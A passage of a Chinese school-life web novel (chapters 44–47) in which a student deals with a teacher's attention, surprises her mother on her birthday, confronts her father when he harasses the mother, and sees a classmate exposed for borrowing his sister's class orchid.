题目乍一看很复杂,但仔细看去,其实和月考上的题目有异曲同工之处,左不过是公式里的数值发生了变化。
应琮几乎没怎么思考和打草稿,只是顺着题干继续往下列步骤,就已经写完了黑板上的例题。
“好,回去吧。”
见她做完了,许明点点头,表情没什么变化。
搞什么?
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>放下粉笔后,应琮依然满腹疑问,再次在众人的注视下回到自己的位置上。
“那我们一起来看看这几道题……”
许明无比自然地站在刚才应琮站过的位置上,开始讲起题来。
除了课前让自己上台做题后,接下来的数学课堂和往常一样,没什么区别。
难道做例题只是许明临时起意……不过恰好看到自己罢了。
“你真没有得罪他?”
在一片安静中,盛逸低低的声音在她耳边兀地响起。
“许明今天上课,一直往我们这边看。”
“你看错了吧。”应琮抬起头。
数学老师分明正回头看着黑板上投影出来的卷子。
“是你太迟钝了。”
盛逸没说什么,似有若无地瞅了她一眼。
“之后就知道了。”
他的态度和许明一样令人捉摸不透,应琮还以为盛逸只是在和自己开玩笑。
然而接下来的好几天,每节数学课之前,她都会成为上台做题的“幸运嘉宾”。
除了做题之外,许明并没有来找她私下谈话。
到底是为什么呢?
应琮开始郁闷了。
*
太阳快要落山了,带来习习凉风,将午后的炎热尽数吹散。
和赶着去上舞蹈课的程依依在校门口告别后,应琮往另一个方向走去。
今天是应雨柔的生日,她提前在附近的花店里订好了鲜花。
“应琮。”
同样在店里买花的时满忽然看到她,面露欣喜之色。
“哎呀,”应琮没想到又一次在放学时间遇到对方,“你今天也请假回家?”
时满手上提着一小盆含羞草,闻言,抿唇轻轻笑。
“明天不是周五了嘛,学校说好要每个人都带点绿植去班里的。”
她顿了顿,奇怪道,“你难道不是来买花的?”
“我差点忘了,”应琮一拍脑袋,“那我也赶紧买一盆好了。”
每天光是学习写作业就已经够烦的了,学校还净喜欢给学生添乱。又不知是采取了哪位专家的高见,说是怕大家天天闷在教室里加重近视,所以要每个人都带来自己喜欢的植物,美其名曰“既能护眼又能培养责任心”。
想想自己上学两年多来,一中组织过的那些五花八门的活动,应琮觉得校领导多少有点想一出是一出。
捧着自己预定的花束和一小盆多肉,她跟时满并肩走在路上。
不甚明亮的路灯缓缓亮起,将两个人的影子拉得很长。
“对了,”时满转头看过去,“你递交报名申请了吗?还有两天就截止了。”
“交了。”应琮回道,“这么大的事情,想忘都难。”
吴老师也不管他们是不是每天都能拿到手机,只要一看到数学竞赛的相关信息,就立马转发在他们四人的小群中。只要回家打开手机,就能发现全是来自同一个人的群信息轰炸。
光是竞赛报名的提醒,吴国才就在群里艾特了全员不下十遍。曾经半天不回一次信息的中年教师,此刻活跃得堪比机器人。
听出她话里话外隐含的吐槽,时满会意地笑笑。
“不过你别说,昨天数学课的时候,吴老师还在班里提起你。”
“我?”
听她这么说,应琮心里忽然有种不好的预感,“他无缘无故说起我干嘛?”
44. 第 44 章
“他说你这次月考数学终于发挥出自己的水平,只差两分就能超过裴少言了。”
时满的语气轻快,“或许因为你是他的得意门生吧,所以吴老师很高兴。”
“……”
没想到自己都已经离开了1班,竟然还能被拿来对比。
应琮说不出话来了。
“说到这个,”她将自己连续三天都被数学老师钦点上台做题的事告诉时满,“我都考了年级第二,他为什么还在针对我?”
上次在办公室发生的事情,还是她替自己解围的,想来或许能够帮助自己揣摩几分许明的心思。
“针对你?”时满很惊讶,“怎么可能?”
“怎么不可能。”应琮声音有些闷,“每天做题的人里,雷打不动的就是我。”
虽然她想一想,也都能做出来。但总是要迎着别人的目光上台,心里多少也会受到压力。
“我这周去办公室送作业的时候,还听到许老师和别人夸你了呢。”时满眨了眨眼睛。
“什么?!!”
应琮的反应比刚才激烈多了。
“你确定他不是在阴阳怪气地说反话?”
许明?夸她?
比天方夜谭还要玄幻的事情出现了,这句话的主谓宾但凡换掉任何一个她都不会这么讶异。
“当然不是。”
时满摇摇头,她听得很清楚。
“许老师说,你不但数学思维好,而且做题也规范了许多,这段时间的进步非常明显。”
应琮满脸“啊我吗”的表情,眼神里的怀疑并没有减少。
“是真的啊,”时满伸手轻轻推了她一下,“我为什么要骗你。”
也对,她根本没有替许明说好话的理由。
“那上台做题又是怎么一回事?”
应琮腾出一只手,抓了抓自己的头发。
“可能是想让你好好在班里展现一下吧,因为你做题又快又好。”
时满想了想,笑眯眯道。
“……真看不出来。”
应琮被打败了。
展现个什么鬼,自己完全没有那种出了风头、浑身舒爽的感觉,倒是每次上课浑身都泛起一股被莫名针对的紧张和不安。
“如果你不想上台做题,不如下次私下和他说说?”
见应琮的表情实在不轻松,时满建议道。
“算了,”应琮不太会主动和老师单独交流,“只要他不为了针对我就好了。”
和时满在路口分别后,应琮回到妈妈的饺子店。
不知道是托裴奶奶改良版饺子配方的福,还是因为听从了时满等人的建议,应雨柔在审美能接受的范围内增设了醒目的价格牌这种接地气的标识……这段时间饺子店的生意明显比过去好了很多。
即使现在已经过了学生吃晚饭的高峰期,但店里依然坐着五六个人。
趁着妈妈还在厨房里忙碌,她精心挑选了一个角落,把自己买的花妥善藏好,准备给她一个惊喜。
“小琮,你来试试这个。是你妈妈新研究出来的改良云吞面。”
见她落座,美芳阿姨很快端来一碗热气腾腾的汤面。
应琮第一次听说云吞面还需要改良。
“那我试试味道。”她拿起筷子,饶有兴致地看去。
云吞的个头很大,被明亮的灯光照射着,像一个个透明的小金鱼漂浮在碗里。
而且碗里没有放葱花——是她的口味。
既然是特意为自己开的小灶,应琮吃得心满意足。
饭饱肚圆后,她将空碗拿进厨房。
“新品你觉得怎么样?”
忙碌中,应雨柔抽空瞅了她一眼,脸被厨房的热气熏成了粉红色。
“我觉得很好吃。”
“那就好!”
听到女儿的评价,应雨柔爽利道。
“我打算等过几天,自己包云吞的速度提高了之后,就把它加到菜单上。”
“会不会很累啊?”
应琮帮忙将洗好的碗放在一边沥水。
“……你现在每天都好忙,别累着了。”
她固然喜欢看到妈妈为忙事业而意气风发的样子,但如果因此太累,以至于失去了原有的生活反而不划算。
应雨柔的语气很轻快:“其实忙碌的时候就只有一小会儿,之后就都是休息的时间。现在我的生活很充实。”
顿了顿,她停了手上的动作,“这种感觉很奇妙,好像我第一次真正掌控了自己的人生。”
应雨柔虽不是什么千金大小姐出身,但她是独生女,家里也算得上小康,因此从小便没怎么操持过家事。
后来她嫁给李正心之后,也没上过班,更没做过什么复杂的家务。
十指不沾阳春水固然幸福,但那样的幸福并不是她自己挣出来的,因此流失得也轻易。
应琮了解她的性格,闻言也就不再说什么了,待在后厨默默整理,做一些力所能及的事情。
应雨柔几次让她不用留在后厨,可以直接回家做自己的事情,都被应琮拒绝了。
“好吧,”虽然不明白为什么,但应雨柔妥协了,“你不觉得累就好,现在每天学习那么忙,我希望你别累着了。”
这话听着有点耳熟,应琮抬起头,哑然失笑。
“这话明明是我对你说的。”她说,面上假装生气。
“哦,”应雨柔反应过来了,她笑着点了点女儿的鼻尖,“母女连心。”
两个人忽然相视而笑,接着便笑得一发不可收拾,连在外厅的美芳阿姨都忍不住从窗口探头过来。
“怎么干活还这么开心?”
她好奇地看着眼前亲昵的母女俩。
“阿姨,”应琮收起笑,扶着桌台好不容易站直身子,指指放在筐子里摞起来的脏碗,“你教我怎么洗碗吧。”
后厨里,自己能干的活也就那几样。
“洗碗?”
美芳看向不远处的老板,并没有立刻答应她。见应雨柔暗暗点了点头,表情上也没有什么异样后,她才同意。
戴上橡胶手套,应琮按照美芳阿姨“专家级别”的指导,将碗盘里的残羹剩饭尽数倒进厨余垃圾桶,然后就统一丢到水池里泡着。
“那边有洗碗刷,”见客人走了,美芳手上拿着一块抹布边走边隔着窗口对应琮道,“左边的架子上有洗洁精,你先往水池里挤点,等下就可以洗得干净了。”
还好饺子店里的餐食以清淡口味为主,餐具上并不会残留许多难以洗涤的油渍,所以即使是并不擅长洗碗的应琮,也能应付得过来。
很快,一只只光洁如新的碗盘,都立在了消毒柜的架子上。
“妈妈,”应琮看看窗外,吃饭的人已经离开了,“我
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们出去透透气吧,也去和咪咪玩一会儿。”
应雨柔环视了后厨四周,大致也收拾得差不多,便点点头。
刚一答应,应琮飞快地从她身边掠过,抢先跑出门。
“这孩子……怎么今天毛毛躁躁的。”
应雨柔摇摇头,唇上噙着一抹无奈的笑,跟在她后面。
“当当当当——”
刚走没几步,应雨柔的面前忽然涌出来一大束娇艳欲滴的鲜花。
“祝我亲爱的妈咪,生日快乐!”
花束后,露出应琮笑眯眯的脸。
看到眼前的景象,应雨柔的表情仿佛被按下了暂停键,半天才回过神来。
“我就说,你怎么今天这么奇怪。”
她嘴上嗔怪,身体的动作却很诚实,将女儿连带着鲜花一起搂在怀里。
“什么嘛,”应琮在妈妈的肩头蹭蹭,“我一直都这样啊,没什么奇怪的地方。”
“那你明天也来洗碗?”应雨柔故意道,“不洗完,不许回家。”
自己真要当洗碗工啊,应琮表情凝滞一瞬,硬着头皮道:“可以啊。”
应雨柔无奈:“你想来还不让你来呢!每周给补习老师的钱不要啦?乖乖上你的课去吧。”
送完礼物,应琮才一拍脑门想起件事。
“我去取蛋糕!”
她从妈妈怀里瞬间站直,掏出手机看看,很快脸色一变,急匆匆地跑出了门。
昨晚选蛋糕一不小心选到太晚,结果下单时忘记改配送地址……蛋糕现在正等在家楼下。
她三步并作两步,在夜色里飞跑。
*
和耐心等在楼下的外卖员道谢后,应琮手上提着四方蛋糕盒,尽可能在保持身体平稳无晃动的同时,加快自己走路的速度。
走在路上,夜风随着步伐摇曳,她能够看到自己的影子被甩在身后。
一来一回的折腾,现在已经将近九点了。
算了,今天是值得庆祝的日子,吃点夜宵也无妨。
顺着街角拐弯,应琮发现一辆银白色的车,正停在饺子店的对面。
车内本来亮着灯,但当她停下脚步想要往里看的时候,像是察觉到了一般,车内暖黄色的灯忽然被掐灭,里面漆黑一片。
看一下都不给?
因为这车远远看去有点眼熟,应琮才好奇地看了一眼,而车主的反应,更加令她好奇。
“雨柔……”
还没等她作出反应,耳边听到熟悉的声音。
这是……?
应琮几乎是立刻拔腿往声音的方向跑去。
饺子店门口,一个西装革履的中年男人正拉着应雨柔的小臂,嘴里不停地说着什么。应雨柔的脸绷得紧紧的,一向盈满笑意的眼睛,此时也淬着寒冰。
“放开!”
应琮强行插在二人中间,把他的手狠狠甩开。
靠近的瞬间,对方身上浓重的酒气混合着馥郁的香气扑鼻而来,她屏住呼吸的同时暗暗咬紧了牙。
明明已经有了新的家庭,为什么大晚上还跑到这里耍酒疯?
“琮琮,”李正心看到她,露出一个笑容来,“刚好,你来劝劝你妈。她现在听不进我说话。”
“说什么?”
应琮面若冰霜,将妈妈挡在身后。
他们两个人之间还有什么好说的?
45. 第 45 章
“你看你妈妈搞的饺子店,这不是胡闹嘛!好好的李夫人不做,天天忙着给别人做饭吃。”
“……实在想找点事情做,我看之前那种小咖啡厅就很好啊,不累又蛮有格调。”
李正心边说,边想要去拉女儿的手,被应琮直接避开了。
“什么夫人?”
她似笑非笑地抓住对方话里的漏洞反问,澄澈的眸子里闪着寒光,锋利到令人生畏。
“我记得你和她已经离婚了。请你离我们的生活远一点。”
“琮琮,”听到女儿的话,李正心表现得有几分委屈,“我是在关心你们。做餐饮需要每天起早贪黑,你妈妈身体吃不消的。”
看他装模做样,仿佛真的良心发现一般,应雨柔不禁冷笑。
感受到自己握住的手在微微发抖,应琮回头看她,不安地抿了抿唇。
“李正心,”应雨柔毫不退缩地直视着面前虽然醉酒但依然衣冠整齐、道貌岸然的男人,“琮琮说的对,贵夫人现在应该好好在你家里,与我们无关。我也没有耐心听你在这里说废话。你今晚来的目的到底是什么?谁让你来的?”
自从她们搬来西街后,除了银行卡上定时多出来的数字外,李正心本人基本从来没有出现过。
今晚不同寻常的纠缠,不能不令她警惕。
“雨柔,”见她终于愿意正眼看自己,李正心靠近了些,语气过分温和,像在循循善诱,“把这家店关了吧,又挣不了几个钱。”
“而且,”他顿了顿,“虽然现在我们的婚姻关系不再存续,但……我也从来没有亏待你们母女,如果需要钱,你可以直接和我说,为什么要在外面抛头露面地做小本生意呢?”
“你和我在一起的时候,连一顿晚饭都做不好不是吗?”
李正心这番看似温柔贴心的叮嘱,听在应雨柔耳朵里格外恶心,她从那样的生活里走出来后,才意识到这话里的“宠爱”,其实是一种变相的打压。
“闭嘴吧你。”
明白他的意思,应雨柔不怒反笑,拉着女儿后退一步。
“我的生活怎么样过就不劳李老板操心了。我也不是离开了你就会一事无成,我们家小店生意蛮好的。”
离开前,她漠然开口。
“你!”
李正心抬手想要抓住她,忽然有个强大到不容抗拒的力量,狠狠地往后推了自己一把。
他踉跄着往后退了好几步,好不容易站稳脚步,发现面前多了一个面容陌生的,三十几岁的女人。
对方甚至正冲自己挑衅一笑——显然是罪魁祸首。
李正心下意识骂了一句,依然没有放弃去抓应琮母女俩。
“不好意思啊先生,”美芳往前一步,死死挡住他的路,“我们打烊了,我们老板需要回去算账,请你不要在这里碍事好吗?”
“我找她有事,还没说清楚!”
李正心拧着眉头,不耐烦道,“何况就这么小一家店,至于每天算账吗?”
“先生,”美芳挺起胸膛,身形高大,面对男人毫不退缩,“如果你一直在这里骚扰,我会报警。”
“听你刚刚的意思,你也是个大公司的老板,怎么好意思学这种混混手段,要把自己搞进警察局里啊?”
放完嘲讽大招,美芳看也不看他,快步回到饺子店里,利索地从里面锁上了大门。
玻璃窗天天都擦,透明无一丝纤尘,所以应琮可以清楚看到李正心的表情和动作。
他在原地走了几步又回头,身上的西装依然笔挺,但背悄无声息地驼了些许。
在夜色的衬托下,看上去倒有几分失魂落魄。
片刻后,停在对面的那辆银白色豪车,灯短暂地亮了又熄灭。
上面急匆匆下来一个保养合宜的女人,她的打扮端庄又不失精致,棕黑色的长直发披在肩头,米色的小香风套装外加在夜晚引人注目的,泛着光泽的珍珠耳钉。
即使已经成为了李氏集团老板的新夫人,她还是当年的那副打扮。
见到涂蔓扶着李正心慢慢往车的方向走去的亲密身影,应琮下意识地回头去看妈妈的脸色。
因为打烊的关系,店里只开了门口的一盏灯,光线不甚明亮。
蛋糕已经变形,淡粉色的奶油沾到内壁上,很狼狈。
应雨柔此时一个人侧坐在收银台的椅子上,微微垂着头。
一半的脸隐藏在阴影里,看不真切,但整个人都笼罩在一种莫名的氛围当中。
不知悲伤还是愤怒,她没有发出一点儿声音,只是眼睫低垂。
汽车发动的声音划破了寂静,银白色的影子向着某处渐行渐远了。
“妈妈……”
应琮小声地从唇齿间挤出来一句。
她其实也不知道该怎么才能安慰妈妈。
只觉得李正心可恶极了。
“祝我生日快乐吧。”
应雨柔忽然轻轻开口,脸上倒映着微光。
*
第二天起床,应琮发现妈妈没有出门,而是在厨房榨果汁。
“今天早上不去店里?”
她观察着对方的脸色,小心翼翼地开口。
“嗯,今天上午不去了。”应雨柔面色如常,“中午不营业。”
应琮走到妈妈旁边,帮忙摆好餐具。
“晚上我放学直接去店里吃饭?”
“对了,”应雨柔将果汁递给她,转移话题道,“我昨晚发现袋子里还有一盆多肉,也是你送我的礼物吗?”
“呀,那是我要带去学校的!”
听到她的话,应琮猛地起身。
差点忘了这事,自己今天还得带去绿植。
吃过早餐,确认应雨柔的情绪状态没有被昨晚影响后,应琮拿好东西出门。
现在是十一月初,阳光早已失去过去的炽热,绿树也有点垂头丧气。
“应琮!”
走在路上,猛然听到有人在叫自己,应琮提着袋子回头。
盛逸小跑着过来,风带起来他的头发,乱蓬蓬的,像是一颗蒲公英。
“为什么今天早上你们的饺子店不开门?”
他看向自己身边的人,抓了抓头发。
“想休息一下,所以下午才开门。”应琮解释道。
“阿姨身体不舒服吗?”
盛逸脱口而出,看到她摇头才放下心来。
“那我早上吃什么?我可是特意空着肚子,坐了两站地铁来的啊!”
他一幅可怜样。
应琮无暇理会他的夸张,继续往前走。
“等等,”盛逸紧紧跟在她旁边,“我每天都光顾,小老板你对待常客就是这种态度?”
“……”
闻言,应琮停下脚步,无奈地抬眼看他,“所以呢?常客同学,你打算要我怎么办?”
“我现在回店里给你和面包饺子好不好?”
被她这样看着,盛逸的神色有一种诡异的忸怩。
“我倒不是这个意思……”他扭过头去,不好意思起来
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,“不对……我也没什么意思。”
不知道为什么,面对应琮,他经常会出现这种莫名混乱的情况。
明明自己是语文高手,做起阅读理解来如探囊取物,写起作文那更是行云流水;偏偏遇到她,真是一着急就放不出什么好话,张口就拉。
“好了,”习惯了这家伙讲话顾头不顾尾,应琮递了个台阶:“第一节下课,我请你去小卖部吧。”
“小的领旨谢恩。”
盛逸笑了。
……
小卖部的货架上看似琳琅满目,仔细观察就会发现,都是重复的种类。
“我记得之前还有薯片的,放到哪里去了?”
应琮转悠了好几圈也没找到自己记忆里的薯片,奇怪道。
“你不知道吗?”
正为自己挑选早餐面包的盛逸瞥她一眼。
“现在学校不允许卖零食了,尤其是薯片这种‘垃圾食品’。”
“……还真是会给学生添堵。”
应琮无奈,只好随便拿了包苏打饼干当课间零食。
“一看你就是不常来小卖部,”盛逸一声招呼不打,直接把她手上的饼干拿走,重新换了另一个包装的饼干塞过去,“这个才好吃。”
应琮低头看看,好吧,这个口味的也行。
既然都喜欢吃应女士做的菜,自己姑且也能信任他的美食雷达。
踩着预备铃,两个人急匆匆地往教室跑,总算是赶在班主任进门前一秒,回到了座位上。
刚一坐下来,盛逸就撕开了面包的塑料包装袋,一股浓郁的奶香迅速在教室里扩散开来。
应琮注意到,许文言探究性的眼光,已经开始环视四周。
班里有规定,上课时候不允许吃东西。
更何况盛逸吃的东西,味道还不小。
“别吃了。”
出于好心,她用笔在下面戳戳盛逸的腿,小声提醒。
“什么?”
盛逸没听清楚,单手举起地理书作掩护,脑袋鬼鬼祟祟地凑了过来。
“你也要吃吗?”
应琮还没来得及说不要,他就已经撕了一半自己没咬过的面包,大方地递去。
“早说刚刚去小卖部,我就再拿一袋了。”
“我是让你别吃了,许老师正看着呢。”应琮扶额。
同桌固然不坏,但实在有些笨啊。
“别怕,我的偷吃技术早就出神入化了。”
盛逸将面包收回,揉成一团后立即塞进嘴里。
站在讲台上的许文言将他鼓囊囊的腮帮子看得清清楚楚,实在没办法假装自己看不见。
就算对方是得意门生,她也想大义灭亲的程度。
“盛逸,”她点名道,“你来回答一下屏幕上的第三题。”
盛逸不慌不忙地站起来,甚至还在起身的空当喝了口水顺顺。
见他故意磨蹭,许文言差点抓一颗粉笔头丢下去。
“选C。”
好不容易咽下去嘴里的东西,盛逸开口了。
“……”
他的答案是对的,许文言哽住了,但也不想就这么轻飘飘地放过他。
“后面两道呢?”她追问道,索性让盛逸全部回答好了。
“B、A。”
他又对了,许文言沉默了几秒才调节好,“……坐下吧。”
盛逸坐了下来,顺便又喝了一口水,面上笑得云淡风轻。
有时候,应琮还真是挺佩服他的。
46. 第 46 章
应琮决定收回自己刚刚对盛逸的评价。
下课之前,许文言顺便提了一下学校要进行班级建设评比的事情。于是大家纷纷把自己准备好的绿植拿了出来。
“你再说一遍,你管它叫什么?”
她忍着心里想要骂人的冲动,指着对方桌子上放着的花盆道。
花盆里装的是一个圆滚滚的仙人球,上面是金黄色的尖刺。
“丛丛啊。”
盛逸无比自然地开口,手上装模做样地捏了张纸巾,擦着花盆边缘上的土。
“换个名字。”应琮咬牙。
和自己小名同音的仙人球,这人分明就是故意的。
“为什么?它是‘树丛’的‘从’字。”
盛逸明知故问,脸上的笑意看在应琮眼里格外令人火大。
“唉,我只希望丛丛跟着我在学校能越长越旺盛,像树丛一样郁郁葱葱的。”
“那你叫它葱葱。”
如果应女士在场估计都要惊讶,一向是可忍孰不可忍的女儿也学会让步了。
可惜盛逸现在连见好就收都忘了。
“葱葱不好听。”
他摇头,末了又语重心长地开口:“不要对别人的植物抱有那么强的占有欲啊,琮琮……”
盛逸刻意咬字咬得很清楚,像是为了区分“丛丛”和“琮琮”之间的区别。
“别这么叫我!”
应琮忍无可忍,一个拳头砸过去。
盛逸吃痛,险些从座位上滑倒在地。
“哥,”他扭头去寻求场外群众的帮忙,“你来评评理。我给自己的植物起个名,她也要揍我。”
杨乐抬起头,缓缓合上自己手上的小说。
“一旦给植物起名,它们就会认主,日后恐怕还会开启灵智。”
他郑重其事地看向盛逸,“那你须得好生照料才是,否则将会酿成大祸。”
“……你是不是又看古风修仙小说了?”
这也太文绉绉了,盛逸被他的话酸得险些起鸡皮疙瘩,浑身刺挠。
杨乐没有否认,低头又如饥似渴地看起自己手上的小说来。
待在自己位置上的应琮毫不掩饰地翻了个白眼。
一开始她和同桌还以为杨乐是什么高深莫测的怪人,相处久了才知道,他只是一个沉浸在小说艺术的中二少年罢了。
“不过,”盛逸看到杨乐桌上空荡荡的,不禁好奇,“你没带植物来学校,不怕老许说你没有做好班级一份子建设美丽家园的觉悟?”
许文言从来不是这样上纲上线的人,这就纯属是他在跑火车了。
“我带了啊,”杨乐奇怪地抬头,下巴努了努教室后墙的角落,“放在那里了。”
顺着他的指示看去,盛逸瞳孔微缩——
“这个是你带来的?!”
早上一来他就看到了,教室后墙的角落里放了一个巨大的青花瓷盆,里面种着绰约多姿的蝴蝶兰。
花朵不是常见的粉色或紫色,而是更为珍贵的,粉色与黄色的复合品种。花蕊是柔美的淡粉色,外面的花瓣却渲染着金黄,上面还有粉色的条点花纹,令人看着看着不由得屏息凝神,沉浸在美的享受中。
得益于亲妈的熏陶,盛逸对植物还是略有些了解的。
“哥们,你是怎么把这么大一盆花带过来的?”
他远远比划着花盆的大小,颇有些咂舌。
连花带盆的,怎么也得十几斤重吧。
为了应付学校的检查,竟然有人能做到这份上。
一旁的应琮也没想到,原来杨乐看起来是班级里的独行侠,其实拥有着比谁都炽热的爱班爱校之心。
小女子当真是佩服佩服,失敬失敬。
“不难搬。”杨乐淡然道,看起来并不想继续深入解释。
盛逸冲他比了个大拇指。
实在是太帅了,完全秒杀班里一群带多肉、仙人掌和薄荷的人。
“杨乐,为什么你要选择带蝴蝶兰呢?”还是这么大一盆。
丁一锐不知何时也凑了过来,似乎早就在旁边偷听许久。
“这盆花的寓意是‘心想事成,万事顺利’,我希望班里的大家都能够实现自己的心愿。”
“杨乐……”
听到他的解释,丁一锐和盛逸顿时语气黏糊起来,化为了星星眼。
虽然应琮没有回头看到二人的表情,想来也是被感动得一塌糊涂。
毕竟,就连她听到对方如此质朴真诚的愿望,心里也有些触动。
相处了这么多月,自己却好像今天才认识到他一般。
杨乐摆摆手,自己所做的不过是一件不值一提的小事。
“我刚刚去其他班刺探过‘军情’了,”丁一锐肩负着班长的责任,和许文言一样十分看重集体荣誉,“他们也净是些上不了台面的小花小草,都比不上这盆蝴蝶兰大气。”
听到小花小草的评价,应琮看了看自己桌上的多肉,莫名有种躺枪的感觉。
聊着聊着,三人又漫无边际地从各班带来的花草,扯到了即将到来的运动会。
如果按照往年的传统,那么差不多就是在二十几号开展运动会……如此推算,下周他们就可以开始着手准备订班服和开幕式彩排,而且很有可能运动会能够冲掉11月的月考。
多是一桩美事啊!
“应琮,”谈笑间,丁一锐冷不丁地cue到她,“你到时候准备报名运动会项目吗?”
几人的眼神都投向自己,应琮缓慢地眨了眨眼。
“应该……不吧。”
“去年你参加项目了吗?”丁一锐好奇道。
应琮诚实地摇摇头。
去年的运动会,除了开幕式时候自己离开了教学楼,后面两天,她一直和班里的同学们待在班里写作业。
回忆起过去,应琮有一瞬间的恍惚,那个时候,裴少言还是她的同桌,是她奋力想要追赶的对象。因为教室里还有其他人在,他们两个人也不怎么说话,只是暗暗较劲,像是在比谁写作业的速度快。
操场上传来的发令枪响和呐喊喧嚣都化为耳边的伴奏,成为青春的陪衬。
“可是你体测成绩也不差啊,”丁一锐又道,“该不会是觉得对手太菜,不屑于参加运动会吧。”
“我初中时候,还是参加过运动会的。”应琮为自己正名。
“你报名了什么项目?”
盛逸来了兴趣,插入对话。
“……”
听到他的问题,应琮忽然沉默,表情流露出纠结。
“不是吧,这也要保持神秘?”
丁一锐作西子捧心状:“我还以为我们是朋友……”
应琮摸了摸自己的鼻尖,小小声道,“马术。”
“什么?!”
就连后面看小说的杨乐都发出震声。
“窝趣,请问你说的马术是我理解的那个……骑着骏马在草原上奔驰、只有在电
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视上才能看到的体育项目吗?”
丁一锐睁大了双眼,不敢相信自己的耳朵。
“不是在草原上比的。”应琮无奈开口,“而且没有你们想得那么夸张。”
说是马术比赛,其实表演性质要更重,在绕场三圈的同时,跨过五个高度不同的障碍物即可。
更何况是学生之间的比赛,没那么专业。
“老天爷,”丁一锐看她的眼神充满了倾佩,“还以为你看起来像个公主,没想到拿的是白马王子的剧本。”
盛逸皱眉瞥了他一眼,以前怎么没发现丁一锐这么会暗中讨人欢心?
应琮耸了耸肩,她就知道会被调侃。
“不知道以后有没有机会看你在马背上的英姿。”盛逸说,身子不自觉地朝她侧了过来,眼眸里亮闪闪的,比马蹄铁还耀眼。
应琮犹豫着摇了摇头。
“我骑的都是学校的马,现在早就毕业了,当然没机会了。”
“那还真是有点可惜。”丁一锐惋惜道。
没什么好可惜的,应琮眼眸低垂,她知道自己是在扯谎。
六岁生日时,她得到了李正心送的一匹小马,从此暑假时就会专门去俱乐部里练习马术。
现在,那只马应该还在俱乐部里养着,但她恐怕没机会再去看望了。
“看不到在马背上的英姿……那看点你在操场上的英姿呢?”
盛逸幻想了一下应琮飒爽的运动媖姿,恨不得现在就替她报名。
“……?”
应琮错愕地看他一眼,原本心头因往事而涌上的复杂情绪顿时一扫而空。
“为班级争光啊,”盛逸摊开双手,“这可是荣誉之战。而且说不定高三就没办法参加运动会了。”
“是啊是啊,”丁一锐也附和道,“骑马这么难的事情你都做得到,想必运动神经也是很发达的。”
两个人一唱一和的,应琮想为自己辩驳都找不到插话的空隙。
所幸,悠扬响起的上课铃,终止了对话。
丁一锐一溜烟蹿回自己的座位,还不忘回头抛来一个充满希望的眼神。
应琮默默喝了一口水。
怎么感觉被人摆了一道。
*
“杨乐!!!”
刚一下课,忽然从后门冲进来一个长相陌生的短发女生,不由分说地就抓住了杨乐的头发。
“你是不是红豆吃多了——‘相思’?竟然敢算计到老娘头上?!”
女生柳眉倒竖,一边骂,一边狠狠地往后扯了扯他的头发,显然是怒不可遏。
杨乐的头发被她薅在手里,堪比是被抓住了命脉,赶紧小声求饶。
如此闹腾,一时间,班里众人的视线都聚焦于此,见状便小声地议论起来。
该不会是什么感情纠纷吧,都闹到班里来了。
难道是什么禁忌·多角恋·背叛·狗血情节?
平时还真看不出来杨乐是这种人。
霎时间,在座的同学已经在脑子里编排了无数个版本。
“这位同学,发生什么事了?”
柳飞阳快步走了过来,神情认真。
短发女生环视四周,发现大家都看了过来,便松开杨乐的头发。
“哦,不好意思。”
她抬手别了别额前的刘海,露出一个矜持又不失礼貌的笑容,和刚才的样子判若两人。
“我是他的姐姐,高三(18)班的杨欢。”
47. 第 47 章
话音一落,众人神色皆是一松,了然之余又有些许没看成热闹的遗憾。
原来杨乐还有一个姐姐吗?
应琮在心里嘀咕道,平时完全看不出来。
不过话又说回来,对于杨乐,他们本就所知甚少。
反倒是自己,开业这段时间,妈妈都快把半个班的同学认个脸熟了。几次研发出新品都嘱咐她叫上班里的好同学一起尝尝。
不过无论应女士指的是谁,应琮每次都只通知时满就是了。
“原来如此,但是那也不能不由分说就进来揍他吧?”
柳飞阳半是调侃,半是认真地看向对方。
她一贯有些爱操心的侠女风范在身上。
不提还好,这下一提,杨欢好不容易在人前抑制住的怒火再度翻涌,她抬手又是给了自己的弟弟后背来上一掌。
结实又响亮,实乃震惊四座。
“到底发生了什么?”
见兄弟被打,盛逸赶紧开口。
杨欢并没有立刻解释,反倒是扭头在教室里认真地搜寻起来。
实际上她要找的东西本就足够引人注目,杨欢冷哼一声,指着某处道。
“这呢,他把我们班的蝴蝶兰给搬走了。”
“什么?!”
柳飞阳看向杨乐。
对方伸出双手缓缓捂住脸,颇为无可奈何。
“就是这盆啊,”杨欢双臂环抱在胸前,三言两语解释道,“这是我们班家委为了保佑我们高考顺利,特意高价买的蝴蝶兰。原本就放在教室外面……”
她在“高价”二字加重读音,对着弟弟差点又是一掌拍下去。
“而杨乐这个臭小子,”最终还是没忍住,杨欢一掌拍得弟弟差点呕了,“竟然趁人不备,偷偷搬到这里来了。”
要不是班里有人目睹了嫌疑人的犯罪过程,知道杨乐是自己的弟弟,提前跟她通风报信,并且还拦住了想去上报年级查监控抓小偷的班主任……否则杨乐作案时的音容笑貌,恐怕就要挂在校门口的电子屏上了。
可惜被她先逮住,这下说不定只能挂黑白照了。
难怪他能对蝴蝶兰的花语侃侃而谈,回想上节课间杨乐的表现,应琮忽然有点想笑。
原本以为侠之大者,怎么风云变幻,眨眼就变成江洋大盗了。
如果说她还只是唇角微微上扬了两个像素点,那么旁边的盛逸,在反应过来的瞬间就溢出了笑声。
旋即,欢乐的笑声像是传染一般迅速扩散,在一旁的围观群众都乐不可支。
这一切都是杨乐平时总是故作神秘的锅,在众人心目中,他一向高深莫测的,没想到也是个正常人。
好吧,也许不那么正常。
“姐,”趁着氛围松快些,杨乐找准空当求饶,“我就借几天,等评比完就还回去,保证不弄坏。”
“不——行——”
杨欢直截了当地拒绝道。
虽说高三不用参加班级文化建设评比,但原本好好放在教室门口的兰花消失了,和老师们解释起来也很累人。
“姐,”杨乐和亲姐姐讲话的姿态和平时完全不一样,继续以一种自以为别人都听不到的声音求饶,“就借几天,我给你带三天的早餐。”
“没得商量,中午放学之前,我要看到这盆花出现在我们班门口。”
杨欢软硬不吃,一甩头发就要走。
见状,看热闹的同学们也四散开来,准备回到自己的位置上。
“哎呀,杨欢?”
还没等她离开教室,忽然传来一道十分熟悉的女声,声音里夹杂着欣喜。
“小言老师?!”
杨欢一愣,定定地站住了。
“你这是走错教室了吗?怎么会跑到这里来?”
许文言手上拿着打印好的地理题纲,温和地笑笑。
她在已经不是自己学生的学生面前,最和蔼了。
“我……那个,呃,蝴蝶兰……”
见到许久未见的老师,杨欢只觉自己大脑中负责言语的S区好像突然失灵了,结巴半天组织不出来一个完整的句子。
